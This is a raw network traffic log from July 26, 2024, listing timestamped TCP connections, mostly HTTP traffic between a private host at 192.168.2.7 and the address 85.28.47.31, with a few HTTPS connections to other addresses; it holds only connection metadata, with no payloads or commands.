Jul 26, 2024 08:57:55.745367050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745378017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745383024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745388031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745393991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745398998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745801926 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.745848894 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.745873928 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.745918989 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.745918989 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.745928049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745938063 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.745940924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745951891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745956898 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.745961905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745974064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745975971 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.745985031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.745995998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746000051 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746006966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746016979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746023893 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746026993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746057987 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746062994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746073961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746083975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746093988 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746094942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746107101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746117115 CEST	49763	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:55.746118069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746124029 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746130943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746141911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746151924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746161938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746171951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746181965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746187925 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746193886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746205091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746215105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746226072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746234894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746234894 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746246099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746270895 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746299028 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746330976 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746349096 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.746869087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746881008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746891975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746901989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746912003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746921062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746927023 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746936083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746963978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746975899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746985912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.746995926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747005939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747015953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747025967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747035980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747045994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747056961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747066021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747076035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747086048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747097015 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747457981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747472048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747482061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747492075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747503996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747514963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747529984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747541904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747550964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747561932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.747670889 CEST	80	49763	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:55.748079062 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.748080015 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.748120070 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.748507023 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.748857021 CEST	49764	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:55.748886108 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:55.749366999 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:55.749366999 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:55.749377966 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:55.749387980 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:55.752798080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.752811909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.752823114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.752873898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.752883911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.752902985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.752914906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753010988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753021955 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753113985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753123999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753134012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753144026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753154039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753165007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753175020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753184080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753231049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753252029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.753262997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.759102106 CEST	49764	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:55.759102106 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:55.759102106 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:55.759182930 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.759413958 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:55.759428978 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:55.760092974 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:55.760102034 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:55.760319948 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.760379076 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.760500908 CEST	49764	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:55.760510921 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:55.818418980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818435907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818447113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818480015 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.818511963 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.818536043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818547964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818557978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818568945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818588972 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.818661928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818685055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818695068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818696976 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.818706989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818718910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818866968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818877935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818887949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818898916 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.818909883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819001913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819013119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819022894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819032907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819032907 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819067001 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819098949 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819170952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819181919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819191933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819201946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819212914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819224119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819233894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819367886 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819415092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819427013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819437981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819448948 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819559097 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819608927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819621086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819629908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819639921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819649935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819659948 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819665909 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819675922 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819685936 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819730043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819741964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819747925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819757938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819767952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819777966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819787979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819813967 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819813967 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819829941 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819952011 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819962025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819972038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819982052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.819988012 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.819993019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820003986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820009947 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.820020914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820035934 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.820051908 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.820218086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820244074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820255995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820255995 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.820266962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820271015 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.820280075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820288897 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.820290089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820302010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820306063 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.820314884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820326090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820333004 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.820337057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820348978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820544004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820554972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820588112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820599079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820609093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820620060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820705891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820810080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820821047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820831060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820841074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820852041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.820863008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821120977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821131945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821149111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821158886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821168900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821177959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821187973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821197987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821207047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821217060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821227074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821238995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821460009 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821491957 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821513891 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821669102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821681023 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821691036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821701050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821712017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821715117 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821722984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821734905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821747065 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821747065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821758986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821764946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821770906 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821770906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821784019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821788073 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821795940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821806908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821815968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821818113 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821827888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821839094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.821841955 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821862936 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.821881056 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.822859049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.822870016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.822880030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.822890043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.822900057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.822907925 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.822911024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.822923899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.822933912 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.822952032 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.911679029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.911706924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.911719084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.911740065 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.911756039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.911763906 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.911767006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.911780119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.911801100 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.911819935 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.911880970 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.911891937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.911901951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.911911964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912017107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912026882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912036896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912046909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912143946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912154913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912163973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912177086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912224054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912235022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912244081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912254095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912265062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912667990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912678957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912688971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912698984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912708044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912718058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912730932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912735939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912739992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912741899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912744999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912754059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912763119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912786007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912796974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.912807941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913466930 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.913547039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913558960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913568020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913578033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913587093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913597107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913610935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913621902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913636923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913639069 CEST	80	49756	85.28.47.31	192.168.2.7
